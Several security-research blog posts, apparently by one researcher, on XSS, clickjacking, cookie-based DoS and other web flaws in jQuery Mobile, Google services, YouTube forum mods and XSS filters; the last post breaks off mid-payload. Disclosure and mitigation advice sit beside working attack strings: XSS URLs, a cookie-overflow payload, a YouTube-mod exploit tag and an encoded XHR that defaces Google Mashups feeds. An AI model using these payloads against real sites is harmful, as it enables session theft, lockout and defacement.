🤷 Unpatched (0day) jQuery Mobile XSS

TL;DR - Any website that uses jQuery Mobile and has an open redirect is now vulnerable to XSS - and there's nothing you can do about it, there's not even patch  ¯\_(ツ)_/¯ .

jQuery Mobile is a cool jQuery UI system that makes building mobile apps easier. It does some part of what other frameworks like Ember and Angular do for routing. Pretty cool, and useful. Also vulnerable to XSS.

While researching CSP bypasses a few months ago, I noticed that jQuery Mobile had this funky behavior in which it would fetch any URL in the location.hash and put it in innerHTML. I thought that was pretty weird, so decided to see if it was vulnerable to XSS.

Turns out it is!

The bug

The summary is:

1. jQuery Mobile checks if you have anything in location.hash.
2. If your location.hash looks like a URL, it will try to set history.pushState on it, then it will do an XMLHttpRequest to it.
3. Then it will just innerHTML the response.

As a strange saving grace, actually, the fact that it tries to call history.pushState first, makes the attack a little bit harder to accomplish, since you can't set history.pushState to cross-origin URLs, so in theory this should be safe.

But it isn't, because if you have any open redirect you suddenly are vulnerable to XSS. Since the open redirect would be same origin as far as history.pushState is concerned.

So.. you want to see a demo, I'm sure. Here we go:

http://jquery-mobile-xss.appspot.com/#/redirect?url=http://sirdarckcat.github.io/xss/img-src.html

The code is here (super simple).

The disclosure

Fairly simple bug, super easy to find! I wouldn't be surprised if other people had found out about this already. But I contacted jQuery Mobile, and told them about this, and explained the risk.

The jQuery Mobile team explained that they consider the Open Redirect to be the vulnerability, and not their behavior of fetching and inlining, and that they wouldn't want to make a change because that might break existing applications. This means that there won't be a patch as far as I have been informed. The jQuery mobile team suggests to 403 all requests made from XHR that might result in a redirect.

This means that every website that uses jQuery Mobile, and has any open redirect anywhere is vulnerable to XSS.

Also, as a bonus, even if you use a CSP policy with nonces, the bug is still exploitable today by stealing the nonce first. The only type of CSP policy that is safe is one that uses hashes or whitelists alone.

The victim

jQuery Mobile is actually pretty popular! Here's a graph of Stack Overflow questions, over time.

And here's a graph of jQuery Mobile usage statistics over time as well:

You can recreate these graphs here and here. So, we can say we are likely to see this in around 1 or 2 websites that we visit every week. Pretty neat, IMHO.

I don't know how common are open redirects, but I know that most websites have them. Google doesn't consider them vulnerabilities (disclaimer, I work in Google - but this is a personal blog post), but OWASP does (disclaimer, I also considered them to be vulnerabilities in 2013). So, in a way, I don't think jQuery Mobile is completely wrong here on ignoring this.

Now, I anyway wanted to quantify how common it is to have an open redirect, so I decided to go to Alexa and list an open redirect for some of the top websites. Note that open redirect in this context includes "signed" redirects, since those can be used for XSS.

Here's a list from Alexa:

1. Google
• /search
2. YouTube
• /redirect
3. Facebook
• /l.php
4. Baidu
• /link
5. Yahoo
• /ads/pixel

I also thought it would be interesting to find an open redirect on jQuery's website, to see if a random site and not just the top might have one, and while I did find they use Trac which has an Open Redirect, I wasn't able to test it because I don't have access to their bug tracker =(.

Conclusion

One opportunity for further research, if you have time in your hands is to try to find a way to make this bug work without the need of an Open Redirect. I tried to make it work, but it didn't work out.

In my experience, Open Redirects are very common, and they are also a common source of bugs (some of them cool). Perhaps we should start fixing Open Redirects. Or perhaps we should be more consistent on not treating them as vulnerabilities. Either way, for as long as we have this disagreement in our industry, we at least get to enjoy some XSS bugs.

If you feel motivated to do something about this, the jQuery team suggested to send a pull request to their documentation to warn developers of this behavior, so I encourage you to do that! Or just help me out spread the word of this bug

Thanks for reading, and I hope you liked this! If you have any comments please comment below or on Twitter. =)

Our Favorite XSS Filters and how to Attack them

So well, Black Hat 2009 and DEFCON 17 are over now, and on Black Hat I presented twice, so I want to
do a quick recap.

If you asisted to them, I would appreciate any feedback, since the blackhat's feedback system about
the passport stuff is like.. not-public, so its completely useless for me.

So, if anyone want's to give feedback, you can use the comments or send me an email at sird@rckc.at

David Lindsay also made a nice write up about the presentation in here:
http://p42.us/?p=42

You can get our slides from here:
http://p42.us/favxss/

I don't know if the CNN and Java.net bugs have been fixed, but they did worked at the stage (we made
a live-demo on how to bypass the IE8 xss filter), and well there's an errata on the NoScript section.

There was a fix I didnt tested regarding the same origin exception, so now instead of using:

http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl=http://tinyurl.com/ZWZ8Z4

Use:
http://www.google.com/imgres?imgurl=http://pwn&imgrefurl=/search?q=ZWZ8Z4%26btnI=l%23asciifullNameRowId

Since we dont really need TinyURL, it was just an extra, but well, it makes sense for it to get fixed.

And also, the DoS & pwn for NoScript well, apparently because of something related to ABE, now noscript will absolutely kill your browser.  Upgrade to latest NoScript to be protected against the PoC of the presentation.

So, in the talk, david presented about the not-so-filtered html/js tricks we use, the unicode part was a
quick (very quick) recap since Chris Weber was going to have a cool presentation about Unicode the next
day (and it was awesome!!!) but anyway, regarding the unicode section, I made a quick demo on a vuln on
PHP's 4, 5 and 6 utf8_decode function that allows an attacker to do cool filter bypasses.

The PHP-IDS section, I'm not sure if Mario has fixed it, but my bypass was fixed.

Besides that, if you are going to use PHP-IDS, you can be sure that thornmaker and all the slackers crew
is gonna be there to break it and report it waay before a real-life attacker can bypass it, just remember
to keep it updated.

So, the talk was cool, I actually thought I wasn't going to finish on time so I was talking very fast, and
in a matter of fact I actually talked so fast that I actually finished 10 minutes before time.

So well, after that, I spoke with a couple of people about the presentation, and I got quite a lot of biz
cards (I didn't realized untill I got to the hotel and emptied my pockets.. I actually can't rememer to who
all those cards belong to), so if I told you I was going to get back to you later, you should probably send
me an email (sird@rckc.at) since I probably wont recognize your name in your card (my memory sucks!).

So well, the second day I had another talk, that was a solution Im working on, that sort of competes with
Mozilla CSP (could help as a transition to CSP) called ACS -  Active Content Signatures, that will implement
security measures for protecting against XSS on the client-side without the need of an addon on your browser.

I plan to implement some of NoScript features, as well as IE8 XSS Filter, and CSP, so I'll try just to get
the best of the best stuff in there. Inlcuding a JS sandbox that is being made by Gareth Hayes and that sort
of combines the best of Google Caja and Facebook JS sandbox but all in the client side, so you dont need to
do ANYTHING at all in the server :).

The second talk was an epic fail, I lost my document (it was on the Downloads folder, duh!) so there was
like a 5 to 10 minutes gap of me setting up my computer and not-finding the doc..

Thankfully it was a breakout session so it wasn't taped haha, anyway, my audience was small but very
speciallized, the Mozilla security squid and Mozilla securinator were there, as well as david ross, the
author of the super-IE8 XSS filter, a couple of friends and some other people.. The q&a at the end was
very cool :).

I haven't published the details of the .doc of ACS since well, it is still in an early stage but if you
are interested I will send you a draft. I am planing to present it during this month, and I will let you
all guys know in this blog, together with a nice demo.

The HTML Parser of ACS together with the JavaScript sandbox (JSReg) of Gareth can be tried at:
    http://eaea.sirdarckcat.net/testhtml.html

If you can hack it, please do it (and let me now =D). There's a sla.ckers.org thread about it here:
    http://sla.ckers.org/forum/read.php?2,29259

Also, I want to state that I want to do:
    ./pressure.pl -h tra.ckers.org -p /rsnake -p /id

So well, blackhat was a lot of fun, and actually I wasn't planning to stay for defcon, but with a fast
flight change and a lot of luck, I was able to stay more time, and go to defcon.

I want to say that DEFCON is waaaaaaaaaaay too fun, I didn't know it was so cool! BlackHat is like for
CSOs, CTOs, etc.. so vendors were like giving away gifts to everyone so they will buy their stuff, and
well, the talks were more interesting, but anyway, defcon rocks.

The 2wire talk that my friend hakim gave was very cool, we went to war driving in a limousine the night
before, that was fun as hell haha.

It was nice to meet all those slackers in blackhat/defcon, I'm sorry for all those casinos in the strip
that got their wifi-paying system completely bypassed by a very skilled slacker (whose identity prefers to
be kept private), but the hotels include bellagio, mirage, paris, caesars palace, circus circus, riviera
and well probably every hotel in the world that uses COX for providing the service (maybe also Lodgenet).

Ah btw, regarding the last post of Google Analytics, I want to show something I think is very cool. To make
impossible to a user to logout and/or login to any google service (gmail/google reader/google analytics/
adsense/adwords/etc..).

http://google.sirdarckcat.net/?v=https://www.google.com/accounts

If you readed all this post and you are not following me on twitter, then well, there it is!

When your victim gets a "bad request" that means, "you win". Google knows about this since like 4 or 5 months
ago.. and it's still unfixed. If one day you can't access your google account, or can't logout, try deleting
all your cookies.. And either use noscript and mark googleanalitycs.com as untrusted, or point in your hosts
fike googleanalitycs.com to 0.0.0.0 (and if you are a system admin that is not using google analytics you
should probably also do the same, since all websites in the world that use google analytics are vulnerable
to this attack, and you are protecting your user's security AND privacy by doing so..).

Greetz!!

PS. I made this post on notepad so its probably weird on blogspot.

How to use Google Analytics to DoS a client from some website.

So, right.. I was trying to read some stuff about problems sharing my wired connection of my linux laptop to another windows laptop via wireless, but one of the links was on mail-archive.com, and for some reason it's blocked on China (yeah, I'm living on China now =D). So, I decided to go to a friend's website to read the webpage, but... suddenly, there was an error..

Bad Request
Your browser sent a request that this server could not understand.

Size of a request header field exceeds server limit.

Cookie:

The reason of the error is unknown, but that's not important, what is important is that I realized that with a big enough cookie (8190 bytes aprox) we can DoS someone from entering a webpage. (With a 400 HTTP Response status code on Apache, a 413 on some google services, and on some websites an infinite loop because the big cookies delete session cookies).

The reason we would like to block from accessing a server is not really important, what is important is that being able to block them out is dangerous.

Anyway.. we need to set cookies, and this is good enough for a lot of attacks (like no-ip domains, shared subdomains like blogspot , browsers that allow top level domain cookies, second level domains like .co.uk , etc..), but I really wanted to do something more cool.. so I started thinking, how to set cookies on clients.

And the "how", as the reader may deduce from the title of this blogspot is using Google Analytics. I've been researching Google Analytics cookies for some time now, so I sort-of know how they work. And I know pretty good that the google's implementation allows an attacker to add anything in some cookies.

So well, one of those cookies is the referer. This is true for "search result - organic referers", like for example, a Google search. The catch is that the detection on google's service is very bad, and we can fool it to think we are a google search result by doing:

http://google.yourfavoritedomain.com/search?q=search-term

So, you can guess.. if search-term is big enough we can hack the world.

Anyway, there's a catch. You can't set such a big cookie. The limit aparently is 4192 bytes. So.. what you have to do is control 2 cookies.

The other cookie we are going to be using is GASO (Google Analytics Site Overlay), its trigered by the content on
http://yourwebsite.com/page.html#gaso=somevalue

And well, the google analytics code will set a cookie called GASO to somevalue

With both vectors we can now set very big cookies! and with those cookies we can disable access to lot of websites to anyone with just a link (or an iframe if you want to improve the stealthness of the attack).

Twitter PoC:
http://google.sirdarckcat.net/?v=http://twitter.com/

If you use twitter over SSL...
http://google.sirdarckcat.net/?v=https://twitter.com/

To lock you out of all wordpress.com blogs:
http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/
Try your favorite Google Analytics powered websites :D

References:
http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize
http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestfieldsize
http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/

Examples:
GASO limit
#gaso=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondago

SEARCH referer limit
http://google.com/search?q=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogl

About CSS Attacks

Gareth, David and I went to Microsoft Bluehat v8, it was pretty fun meeting everyone.

Gareth described the talk pretty well in here: http://www.thespanner.co.uk/2008/10/20/bluehat/, (slides) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).

So well we have the following clickjacking PoCs, that show different attack techniques.

Ghost Mirror - GMail PoC

http://www.sirdarckcat.net/gmailclickjacking.html

Sends an email when you click [Send] (check your sent mails folder).

This technique works like this:

You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.

You can checkout the "ghost page" here: http://www.sirdarckcat.net/dad.html

This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.

This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).

Frame Cropping - Twitter PoC

http://www.sirdarckcat.net/coconuterror.html

This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.

The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.


If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.

Both iframes must have the CSS properties overflow:hidden; and border: 0 (or their HTML attribute equivalent {like frameborder instead of border}).

This one is sexy :)

We also have the.. javascript ones.

Pixel Window - Adobe Flash Webcam PoC

http://ha.ckers.org/weird/cjdivtest.html


This one overlays 4 divs leaving a window where the mouse will be clicked.


Update to the latest Adobe Flash Player to be protected against this vulnerability.
http://get.adobe.com/flash/


Mouse Chase - Adobe Flash Webcam PoC

http://grack.com/record/


The same principle of Pixel Window..but now with the overlay chasing the mouse position.


CSS Attribute Reader Source Code


http://eaea.sirdarckcat.net/cssar/v2/?source

The first version of the reader wont be released yet, maybe later.. sorry.

This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling (since we are not really using a scripting language).

There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, he'll be presenting it soon at ruxcon.

By the way, I also want to say thanks to the guys that attended bunkent0r for their feedback on the presentation.

Greetz!!

Vulns of Google that where, and are not?

Well, this are the bugs at Google services that even do are fixed now, where around for a while.

First I have to say that the Google Security Team (yeah, that sounds like a hacking team xD), responded very well and quickly many times the same day, or 1 day after the report.

In an exchange of 35 mails (give or take), between each other, the following vulnerabilities where reported and fixed:

1.- XSS at GWT/MDP < http://www.google.com/gwt/mdp/x/en/detect/1?manually=true&brand=sirdackcat&model=sirdarckcat.net%3Cscript%3Ealert(document.cookie);%3C/script%3E >

The response to this mail had the following signature:

Erik, Google Security Team
NOTE: This message was sent by a human.

:P r0cks
the vulnerability was reported on July 27, and fixed on August 4.

2.- A CSRF+XSS vuln in Google Pages + Google Apps For Your Domain

1.- You need to make your victim log in into the attacker GoogleAppsForYourDomain (google pages) account.. to do that is not difficult.. you can make a simple script that submits a form the same way:
https://www.google.com/a/ DOMAIN /ServiceLogin
it's important to take into consideration, that the attacker will reveal the user and password (of his googleappsforyourdomain account) to the victim.

2.- Once your victim is logged in, you make your victim to go to a "preview" cached version of a page that has a script.. and that's all.

It sounds difficult, but it wasn't, the preview page could be reached with just 1 token that was revealed at signing up proccess.

Well, that one was reported on August 19 and fixed on September 4

Then, the same day, there was another one, now in the edition page.
3.- Another XSS+CSRF vuln in Google Pages + Google Apps For Your Domain.

In an unpublished page, add this code:
iframe src="javascript:alert(123);">< /iframe >

and then when you leave the site the code will be executed, and every time someone enters to that page..(or leaves) this could also be used to attack GoogleApps pages, when there is more than 1 admin.

Well, this one had a PoC, and was pretty cool :P, but it had some usernames and passwords, so if I release it, then the PoC wont last a second.. ¬¬

4.- Data Spoofing at Google Analytics.
Well this one is still "live", so I wont get on many details.
An attacker can make someone using Google Analytics beleive, that they came from your site (referrer), even if they haven't, they can make them change the URL of the report of activities on certain user, and a lot of cool stuff that are based on this.

5.- Google Mashups, XSS and Design Flaw.
lol, I've already reported this one here.. the XSS doesn't exist anymore, and the Design Flaw wont be fixed.

6.- Youtube redirection?
Is not a vulnerability on youtube, but in some plugins, that abuse it.. here it is.

7.- More cool stuff still about to be patched.
yeah, well, there are a few other vulns that will probably get fixed in the following weeks :P

For the guys that have asked me on the past, "why do you do this for free"? well, thats because.. it's like a hobby, I use google a lot, and I am curious.. I have a very cool Google T-Shirt, and well, maybe in the future I can make my name appear over here..

Greetz!!

Universal youtube mods XSS explained in 7 steps

Well, I want to explain first, this was not my idea, someone at irc.irchighway.net/#slackers discussed about this a while ago, but he wasn't able to find a redirection URL at youtube.

A couple of days ago I found such URL, and now I can't remember who was he, please if you read this, send me an e-mail to modify this post for the credits.

[[ UPDATE ]] kuza55 found out that Kyran was the one to come with the idea [[ /UPDATE ]]

Well, discusing this with the guys at w4ck1ng it appears that the vulnerability is rather complex to understand.

1. First, we know that if we can embed a flash movie into a site, we can make XSS attacks, by means of getURL("javascript:code_here");
2. Second, we know that we cant embed any arbitrary movie into any forum (at least not by default).
3. Third, we know there are thousands of forums that have Youtube mods instaled, so their users can link to movies, and watch them without leaving the site.
4. Fourth, the mods for youtube (at least the ones I found) have no regular expressions for validating that the video linked is valid, and they do: http://www.youtube.com/v/{param_here} thinking, that in such way an attacker wont be able to change the domain.
5. Fifth, Youtube doesn't have any visible redirection URL that forwards to an arbitrary site, so if you found a redirection page, you could do.. http://www.youtube.com/v/../redirection?page=http://your.swf.exploit/
6. Sixth, the redirection page inside youtube is http://www.youtube.com/confirm_email?next=http://new.url/
7. Seventh, using step 4, 5 and 6 the exploit is like this: [youtube=1,1]../confirm_email?next=http://exploit.com/swf[/youtube]

Well, I think that's all.. the easiest way of patching this vulnerability is simply adding a allowScriptAcces="never" in the object tag of your mod.. anyway, attackers will still be able to redirect to their movies, for stopping that you need to make a regular expression that matches the input with ^[a-zA-Z0-9_]{11}$
(like the phpBB mod does)

[EDIT]
List of SMF vulnerable mod's:

• http://www.simplemachines.org/community/index.php?topic=107067.0
• http://www.simplemachines.org/community/index.php?topic=165018.0
• http://www.simplemachines.org/community/index.php?topic=139271.0

Not vulnerable:

• http://www.simplemachines.org/community/index.php?topic=197280.0

Unsafe IPB youtube mod instalation:

• http://novia.com.sg/forums/index.php?showtopic=12501

[/EDIT]

Google Mashups Vulnerability

yay, I wanted to be part of this hell of a week (Google's Dark Week).

Here is the vulnerability I reported to google, and it appears to be a "design error" (and there is no fix, without breaking other things).

With this vulnerability you can "deface" any google-mashups project, creating your own XML-RPC to the GWT server, and change the contents of any feed.

The report I sent to Google is this:

---

Supose, you are the creator of http://gallery.googlemashups.com/
if you include a list, for a local feed, then any attacker from the world will be able to modify all the content in your website.

This is maybe a design error, and as I see it, it's pretty dificult to fix.

I've made a demonstration to http://gallery.googlemashups.com/
Enter to the website, and go to the last page, there you will see that the last item was modified.

to do so, you just need to execute the following code:

with(new XMLHttpRequest()){
open("POST","http://gallery.googlemashups.com/feeds/app/galleryApps",true);
setRequestHeader("Content-Type","application/atom+xml; charset=utf-8");
setRequestHeader("X-Gm-Validate","ASDFGHJKLÑPQWERRTYUIOPZXCVBNMUJHFDDDEFFDSSCFGGTFDQWERTYUIYTRREWWWQQ");
setRequestHeader("X-GData-Client","JavaScript-V1.0-Google Mashup Editor");
send(unescape("%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%20%3f%3e%0d%0a%3c%61%74%6f%6d%3a%65%6e%74%72%79%20%78%6d%6c%6e%73%3a%67%6d%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%64%2f%32%30%30%37%22%20%67%3d%22%63%6f%6d%2e%67%6f%6f%67%6c%65%2e%67%77%74%2e%63%6f%72%65%2e%63%6c%69%65%6e%74%2e%4a%61%76%61%53%63%72%69%70%74%4f%62%6a%65%63%74%22%20%78%6d%6c%6e%73%3a%61%74%6f%6d%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%20%78%6d%6c%6e%73%3a%67%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%67%6d%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2d%6d%65%74%61%64%61%74%61%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%43%61%6c%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%43%61%6c%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%73%74%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%61%70%70%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%70%70%73%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%20%78%6d%6c%6e%73%3a%78%68%74%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%78%68%74%6d%6c%22%20%78%6d%6c%6e%73%3a%6f%70%65%6e%53%65%61%72%63%68%3d%22%68%74%74%70%3a%2f%2f%61%39%2e%63%6f%6d%2f%2d%2f%73%70%65%63%2f%6f%70%65%6e%73%65%61%72%63%68%72%73%73%2f%31%2e%30%2f%22%20%78%6d%6c%6e%73%3a%6d%65%64%69%61%3d%22%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%2e%79%61%68%6f%6f%2e%63%6f%6d%2f%6d%72%73%73%22%20%78%6d%6c%6e%73%3a%67%65%6f%72%73%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%67%65%6f%72%73%73%2e%6f%72%67%2f%67%65%6f%72%73%73%3d%67%65%6f%72%73%73%22%20%78%6d%6c%6e%73%3a%67%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6f%70%65%6e%67%69%73%2e%6e%65%74%2f%67%6d%6c%3d%67%6d%6c%22%20%78%6d%6c%6e%73%3a%65%78%69%66%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%